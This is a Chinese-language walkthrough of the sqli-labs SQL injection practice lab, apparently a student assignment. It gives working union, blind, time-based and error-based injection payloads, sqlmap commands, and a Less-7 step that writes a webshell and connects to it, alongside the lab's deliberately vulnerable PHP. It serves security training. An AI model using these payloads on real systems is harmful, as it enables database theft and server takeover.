首页 > 其他分享 >asan

asan

时间:2024-05-20 10:44:09浏览次数:14  
标签:数据库 echo uname asan id SELECT 注入

任务一:将阿三靶场通关!(50)
任务二:将通关过程书写操作手册!(20)
任务三:在Csdn发表通关手册!(20)
任务四:发布的文章进行美化【排版,美观度,也就是所谓的观赏性】!(20)(附加题)

Less-1

image-20240518093641533

图上说我们需要一个数字参数

方法一:手动注入

尝试用最简单的方法去查看有没有注入点

注入?id=1 and 1=1

image-20240518094646553

发现页面没有报错

注入?id=1 and 1=2

image-20240518094706910

发现页面没有报错

于是我用了字符型注入

image-20240519165236480

发现页面报错(所以说此题应该可以字符型注入)

于是我拼接了字符串

image-20240519165436103

页面显示会正常

之后我使用order by来确定表中的数列,来让我们使用union联合查询

联合查询的特点

  1. 要求多条查询语句的查询列数是一致的
  2. 要求多条查询语句查询的每一列的类型和顺序都最好一致
  3. union关键字默认去重,如果使用union all 可以包含重复项

于是我们构造了以下语句

​ ?id=1' and '1'='1' order by 1--+  页面回显正常

      ?id=1' and '1'='1' order by 2--+  页面回显正常

      ?id=1' and '1'='1' order by 3--+  页面回显正常

      ?id=1' and '1'='1' order by 4--+  出现报错界面

image-20240519165823067

我们确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+(将id弄成一个负数的值使前面的语句失效)之后查看union查询是否有回显

image-20240519170041485

有回应

遮掩给我们就看到了2和3的回显位

然后我们利用union查询,查看数据库的版本和数据库名

补充

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

接下来利用回显位来查询数据库和数据库版本信息

?id=-1' union select 1,database(),version()--+

image-20240519170307338

我们知道了数据库是security,版本信息:5.5.53

爆表之前的知识点

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

我们在利用union查询来爆表的知识点来编写语句

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20240519170456328

我们爆出了表名

之后我们正常人的思维,猜测出账号和密码应该在一张表上,我们就去看users表

查看一下表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

image-20240519170629581

我们看到了username和password字段,

然后我们就去查询字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

image-20240519170704655

方法二:sqlmap工具注入

方法二:

--dbs:是查看所有的数据库

--tables:是查看所有的表

--columns:是查看表中所有的字段名

--dump:是查询哪个表的数据

因为我们已经知道了注入点的位置,于是我们直接用sqlmap跑

命令:sqlmap.py -u "有注入点的url" --dbs

img

我们看到了security数据库,然后我们开始爆表

命令:sqlmap.py -u "有注入点的url" -D security --tables

img

接下来我们开始爆字段名

命令:sqlmap.py -u "有注入点的url" -D security -T users --columns

img

于是我们就可以爆信息了

命令:sqlmap.py -u "有注入点的url" -D security -T users -C "id,username,password" --dump

img

让后我们就得到了用户名和密码了。

Less-2

首先,我是自己先判断了下,这个是什么注入

?id=1'  不行

?id=1' or '1'='1--+  也不行

然后又尝试了下

?id=1 and 1=1  页面显示正常

?id=1 and 1=2  页面又错误回显

然后这就是数字注入了

sql输入一般步骤

第一步:通过特殊的数据库查询语句

第二步:在数据库的错误返回中找到sql漏洞

第三步:利用sql语句猜解管理人员信息并登录管理员后台

判断注入类型

数字型注入

  1. url为 ?id=1'时,因为有一个多余的"单引号"使查询语句错误
  2. url为?id=1 and 1=1时,没有报错
  3. url为?id=1 and 1=2时,由于1=2不成立,也会报错

满足这三个,基本上就是数字注入了

字符型注入

  1. url为 ?id=1'时,数据库认为id叫做1'。查询之后发现没有这个id而返回错误。(在字符型注入中,需要考虑引号的闭合)
  2. url为?id=1' and '1'='1 在'1'='1之后没有加上'是因为传参时输入的内容已经被' '包围。

后台查询列数

使用order by试出数据库列数

url为 ?id=1' order by 数字 (如果试4时有错误,3时正确,那么列数为3)

找显示位

使用union select找出会返回客户端并显示的列。如果有3列时,应该这么写

url为 ?id=1' union select 1,2,3

加入显示位是3,这就意味着数据库开放了5个“窗口”用来显示内容,用查询到的数据,在这些窗口显示数据

查库名

联合查询:select database();

下面是查看数据库的版本和数据库信息

假如显示位是3,?id=1' union select 1,version,database()

查表名

找到库名以后,使用?id=1' union select 1,2,table_name from information_schema.tables where table_schema='库名' (如果库名是字符型,此处库名要转成十六进制)

information_schema:

这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库

查列名

找到表之后,使用?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字符型,此处库名要转成十六进制)

如果表数或列数过多,可以在最后使用limit加上limit 0,5相当于检索1-5条信息

查具体数据

找到列之后,使用?id=1' union select 1,2,group_concat("要查询的数据") from 表名

Less-3

新的注入方法

这里我们发现了需要闭合前面的括号。

$sql=select * from users where id=("$id");

image-20240519171831672

我们传入的id为5")时

image-20240519174832691

页面显示正常,之后去判断有几列

pyload: ?id=5')order by 4--+

image-20240519174902279

无回应

再次尝试列数为3

image-20240519174919987

有回应

我们用联合查询,所以我们要保证列数字段一致,如果不一致则会报错。

下面我们贴出源码

<!DOCTYPE html PUBLIC ``"-//W3C//DTD XHTML 1.0 Transitional//EN"` `"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"``>``<html xmlns=``"http://www.w3.org/1999/xhtml"``>``<head>``<meta http-equiv=``"Content-Type"` `content=``"text/html; charset=utf-8"` `/>``<title>Less-4 Error Based- DoubleQuotes String</title>``</head>` `<body bgcolor=``"#000000"``>``<div style=``" margin-top:60px;color:#FFF; font-size:23px; text-align:center"``>Welcome  <font color=``"#FF0000"``> Dhakkan </font><br>``<font size=``"3"` `color=``"#FFFF00"``>` `<?php``//including the Mysql connect parameters.``include``(``"../sql-connections/sql-connect.php"``);``error_reporting``(0);``// take the variables``if``(isset(``$_GET``[``'id'``]))``{``$id``=``$_GET``[``'id'``];``//logging the connection parameters to a file for analysis.``$fp``=``fopen``(``'result.txt'``,``'a'``);``fwrite(``$fp``,``'ID:'``.``$id``.``"\n"``);``fclose(``$fp``);` `// connectivity` `$id` `= ``'"'` `. ``$id` `. ``'"'``;``$sql``=``"SELECT * FROM users WHERE id=($id) LIMIT 0,1"``;``$result``=mysql_query(``$sql``);``$row` `= mysql_fetch_array(``$result``);``//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($row)``  ``{``  ``echo` `"<font size='5' color= '#99FF00'>"``;``  ``echo` `'Your Login name:'``. ``$row``[``'username'``];``  ``echo` `"<br>"``;``  ``echo` `'Your Password:'` `.``$row``[``'password'``];``  ``echo` `"</font>"``;``  ``}``  ``else``  ``{``  ``echo` `'<font color= "#FFFF00">'``;``  ``print_r(mysql_error());``  ``echo` `"</font>"``; ``  ``}``}``  ``else` `{ ``echo` `"Please input the ID as parameter with numeric value"``;}` `?>` `</font> </div></br></br></br><center>``<img src=``"../images/Less-4.jpg"` `/></center>``</body>``</html>

看源码里面的函数,我给了注释,这就是为什么我们要将id的值给-1,我们需要将前面的数据便为空集,然后我们后面的数据就会呈现出来。

说完了这个,我们接着下一步操作:

  1. 爆库名  ?id=-1') union select 1,2,database()--+
  2. 爆表名  ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  3. 爆字段  ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  4. 爆数据  ?id=-1') union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

然后就查到了我们想要的users表中的数据了。

Less-4

之后我们又来到了第四关,发现第四关只是将单引号变成了双引号了,所以我们

pyload:?id=5")--+

然后发现页面正常显示,没有报错,于是我们用order by来判断列数,步骤和第三题一样。

Less-5

sql盲注

先看一个例子吧

某公司有一个站点,有一个showProduct.php页面,该页面接受名为ID的参数,该参数可唯一标识web站点上的每一件商品。访客可以按下列方式请求页面:

http://showProduct.php?id=1

http://showProduct.php?id=2

http://showProduct.php?id=3

http://showProduct.php?id=4

每个请求将显示顾客希望看到的商品数据,为保护数据库不向用户显示任何数据库错误,下列所有请求均显示第一件商品:

http://showProduct.php?id=1' or and 1=1

http://showProduct.php?id=attacker'

http://showProduct.php?id=-1

到目前为止,我们能看到这公司考虑到了安全性问题,但是我们继续推理过程

http://showProduct.php?id=2 or 1=1  //返回了第1件商品

http://showProduct.php?id=2 or 1=2  //返回了第2件商品

在第一个请求中,or 1=1让数据库返回所有商品。数据库检测该语句异常,显示第1件商品。

在第二个请求中,or 1=2对结果没有影响,所以显示第2件商品

不难发现,我们可以根据相同的原理对攻击做一些变化,例如,可以选择and逻辑运算符来替换or。这样一来

http://showProduct.php?id=2 and 1=1  //返回了第2件商品

http://showProduct.php?id=2 and 1=2  //返回了第1件商品

现在虽然可以操作SQL查询,但是却无法从中获取数据。此外,web服务器根据发送的条件回发不同的相应。我们据此可以确认SQL盲注的存在,并开始着手利用此漏洞。

了解这个了,我们来到sqli-labs第5关 学习一下,sql盲注

我们无法跟前4道题一样,发现没有回显出来用户名和密码,于是我们进行如下

?id=1' and 1=1--+

?id=1' or 1=2--+

用and连接条件时, 如果条件为真,则回显You are in...........

        如果条件为假,则没有回显。

用or连接条件时, 如果条件为假,则回显You are in...........

         如果条件为真,则没有回显。

用着两种pyload都可以,我这里采用and运算符了。

第一步我们先猜解库名的长度吧,利用延时注入,因为盲注一般页面时没有回显的,所以我们采用延时,当然这道题是有回显的

我们按照延时注入操作:

当我们测试长度为8时,出现了明显延时,所以我们确定数据库名为8个长度

?id=1' and if(length(database())=8,sleep(5),1)--+

数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

爆表名:

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+

经过漫长的手注,我们就在limit 3,1中找到了表名 users

爆列名:

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

爆破值payload:

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

Less-6

第6关和第五关类似

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

Less-7

开启文件读写权限

MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看:

show variables like '%secure%';

通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。

secure_file_priv="/"

再次查看此参数,若参数值不为 null 则修改成功。

判断注入类型

注入个正常的参数,网页返回 “You are in.... Use outfile......”。

?id=1

注入单引号和单引号加个括号闭合,网页回显错误信息。

?id=1'

?id=1')

注入单引号再加上 2 个括号闭合,网页回显 “You are in.... Use outfile......”,说明这是用一个单引号和 2 个括号闭合的字符型注入。

?id=1'))

写入文件

我们需要先知道网页所在的文件路径,从 Less 7 是没办法得知的,所以我们转去 Less 1 获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。

?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下写入一句话木马。注意此处存在转义的问题,所有的 “\” 都要双写。

?id=1')) UNION SELECT 1,2,'' into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\text.php"--+

虽然网页显示错误,但是打开文件发现成功写入。

WebShell

使用蚁剑连接,记得 url 要加上我们传入的 text.php。

连接成功,现在可以随意操作网页所在主机的文件了。

关卡 Sql 查询语句

$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font color= "#FFFF00">';	
      echo 'You are in.... Use outfile......';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      echo 'You have an error in your SQL syntax';
      //print_r(mysql_error());
      echo "</font>";  
}

Less-8

GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)

首先注入正确的参数

?id=1

image-20240519182328272

之后我们在尝试一个没有存在的id9999

?id=9999

image-20240519183016718

判断换一下有没有sql注入的漏洞用单引号

?id=1'

image-20240519183107271

此时还是注入单引号,但是把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注漏洞。

?id=1'--+

image-20240519183157099

获取数据库信息

和 Less 5 不同在于 Less 8 查询发生错误时不会报错,不过基本的操作与 Less 5 类似。首先判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

?id=1' ORDER BY 3--+

image-20240519183223542

测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。

?id=1' ORDER BY 4--+

image-20240519183333326

得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

?id=1' AND LENGTH((SELECT database()))>5--+

image-20240519183438681

经过二分法测试,得出数据库长度为 8。

?id=1' AND LENGTH((SELECT database()))=8--+

image-20240519183632044

使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

?id=1' AND LEFT((SELECT database()), 1)='a' --+

image-20240519183842442

这里可以打开 burp 抓包,爆破得出数据库名的第一个字符为 “s”。

?id=1' AND LEFT((SELECT database()), 1)='s' --+

image-20240519183908902

使用相同方法爆出数据库名,接着继续爆破表名、字段名及其剩余信息。

关卡 SQL 查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      //echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-9

GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)

判断注入类型

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

?id=1

image-20240519184826755

接下来注入个查不到的参数,网页还是返回 “You are in...”。

?id=9999

image-20240519185007914

注入个单引号进行闭合,网页还是返回 “You are in...”。

?id=1'

image-20240519185028280

以下 3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

?id=1'--+
?id=1"
?id=1"--+

转换思路,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有异常。

?id=1 and sleep(1)--+

image-20240519185316447

注入如下参数响应时间明显增加,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入漏洞,我们需要使用 sleep() 函数制造时间差进行注入。

?id=1' and sleep(1)--+

获取数据库信息

注入流程与 Less 5 类似,不过这里的判断标准不是会显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或值结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2。

IF(expr, value1, value2)

此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

image-20240519185424290

经过二分法测试,得出数据库长度为 8。

?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

image-20240519185557180

使用 left() 函数判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。

?id=1' AND IF(LEFT((SELECT database()), 1)='a',sleep(1),1)--+

image-20240519185654244

使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+

image-20240519185751812

接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

?id=1' AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

image-20240519185854099

关卡 SQL 查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-10

GET-Blind-Time based-double quotes(基于时间的双引号盲注)

判断注入类型

注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

?id=1

?id=9999

?id=1'

?id=1'--+

?id=1"

?id=1"--+

为了方便调试这里使用 brup 的重发器,注入以下 2 种参数响应时间没有异常。

?id=1 and sleep(1)--+

?id=1' and sleep(1)--+

image-20240519190916459

使用双引号闭合时,响应时间明显增加,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入漏洞。

?id=1" and sleep(1)--+

image-20240519191003069

获取数据库信息

Less 10 和 Less 9 差不多,知识 Less 10使用双引号进行闭合。此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。

?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+

image-20240519191056443

经过二分法测试,得出数据库长度为 8。

?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+

image-20240519191129738

获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+

image-20240519191219151

使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+

image-20240519191256706

使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),2,1))=102,sleep(1),1)--+

image-20240519191331400

关卡 SQL 查询语句

$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-11

127.0.0.1//sqli-labs/Less-11/

image-20240515184827142

image-20240515185938317

image-20240515190302494

image-20240515190555053

单引号没有闭合就可以编写一个注入

'or 1=1 --+&submit=Submit

image-20240515191253175

Less-12

POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)

判断注入类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并且没有返回报错信息,说明不是用单引号闭合。

a' OR 1 = 1#

image-20240519193000103

注入以下的内容,统统都显示登录失败且无回显。

a') OR 1 = 1#

a')) OR 1 = 1#

image-20240519193035535

使用双引号进行闭合时,发现 MySql 返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对。

a" OR 1 = 1#

image-20240519193111742

Less-13

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。

admin' OR 1 = 1#

image-20240519221456462

添加一个括号,使用单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin') OR 1 = 1#

image-20240519221655921

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit

image-20240519221741019

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判断数据库长度。

uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit

获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

使用 brup 抓包,对第一个字符进行爆破,得出数据库第一个字符是 “s”。

关卡 Sql 查询语句

// connectivity 
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      //echo 'Your Login name:'. $row['username'];
      //echo "<br>";
      //echo 'Your Password:' .$row['password'];
      //echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"   />';	
      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg"   />';	
      echo "</font>";  
      )

Less-14

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是没有返回语法错误的提示信息。

a' OR 1 = 1#

image-20240519222512350

注入以下的内容,统统都显示登录失败且无回显。

a') OR 1 = 1#

a')) OR 1 = 1#

使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin" OR 1 = 1#

image-20240519222555247

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8。

uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit

获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。

uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit

使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

uname=a" OR ASCII(SUBSTR((SELECT database()),2,1))=101#&passwd=&submit=Submit

关卡 Sql 查询语句

// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-15

POST 方式的盲注

POST 方式的布尔型盲注

image-20240515191702825

image-20240515192133114

image-20240515192339215

修改字段进行SQL 注入根据返回的图片来验证是否满足条件

'and (length(database())=8)--+&passwd=admin&submit=Submit

image-20240515192721852POST 方式的时间盲注

image-20240515193400160

根据 bp 右下角的响应时间来进行判断条件是否满足

if 判断语句解释

1 if(length(database())>1,sleep(3),null) //条件成功则睡眠3秒,否则直接返回

2 length(database())>1 //判断条件

3 sleep(3) //当条件成功时,则执行的内容

4 null //当条件不成功时执行的内容

Less-16

POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)

判断注入类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是并未返回任何信息。

' OR 1 = 1#

img
注入以下的内容,统统提示登录失败。

a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#

注入双引号和括号,网页提示登录成功。此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行。

") OR 1 = 1#

img
使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

img
使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

通关 Less 16 采用上述 2 种方式都行,也可以使用时间盲注。判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。

uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit

img
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

img
得出数据库名的长度,使用 length() 函数得出数据库长度为 8。

uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

img
获取数据库名,使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

img

关卡 Sql 查询语句

// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-17

判断注入类型

我们先按照这个网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码。

切换到 Less 11 验证一下,可以看到此时 admin 用户的密码已经被我们所修改

接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败。

a' OR 1 = 1#

测试一下所有的注入,发现这些注入网页都回显改密失败。

a') OR 1 = 1#

a')) OR 1 = 1#

a" OR 1 = 1#

a") OR 1 = 1#

a")) OR 1 = 1#

抓包得知网页需要利用 POST 方法提交的参数格式如下:

uname=&passwd=&submit=Submit

接下来对新密码字段进行闭合测试,使用单引号闭合仍然失败。

uname=a&passwd=a'#&submit=Submit

以下几种注入仍然全部失败。

uname=a&passwd=a')#&submit=Submit
uname=a&passwd=a'))#&submit=Submit
uname=a&passwd=a"#&submit=Submit
uname=a&passwd=a")#&submit=Submit
uname=a&passwd=a"))#&submit=Submit

我们切换下思路,之前我们的用户名字段都是随便输入的,现在我们写上一个已知的用户名 admin 再次注入。

uname=admin&passwd=a'&submit=Submit

网页回显改密码成功,并且报了一个语法错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有 2 次查询,第一次是根据 uname 参数进行查询,判断要改密码的用户是否存在。第二次查询时根据要改密码的用户,把 passwd 参数覆盖原密码,这里在第二次查询有注入点。

updatexml() 报错注入

我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:

UPDATEXML (XML_document, XPath_string, new_value);

参数 说明
XML_document String,XML 文档对象的名称
XPath_string Xpath 格式的字符串
new_value String,用于替换查找到的符合条件的数据

其中参数 XPath_string 需要是 “/xxx/xxx/…” 的格式,进行查询时将会按照这个参数进行操作。注意如果 XPath_string 是个错误的路径,但是该路径符合 Xpath 的规范就不会报错。反之 XPath_string 的格式错误时就会触发报错,我们要利用的就是这一点,通过 updatexml() 函数的报错回显我们需要的信息。
为了更好地理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySql 版本。

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

为什么可以返回 MySql 版本?因为我们使用单引号闭合了 passwd 参数所在的 Sql 语句的前面的部分,使用 OR 连接的 updatexml() 函数就会被执行。updatexml() 函数会在 “concat("!",version())” 路径下查找 “1”,若查找成功就将其替换为 “2”。不过我们使用 concat() 函数在 verion() 的返回值前加了个 “!”,使得 XPath_string 的内容不符合 Xpath 的规范触发报错,报错回显的内容就是感叹号带上 verison() 函数的返回值。

获取数据库信息

爆库名,利用 updatexml() 报错回显数据库名。

uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit

爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

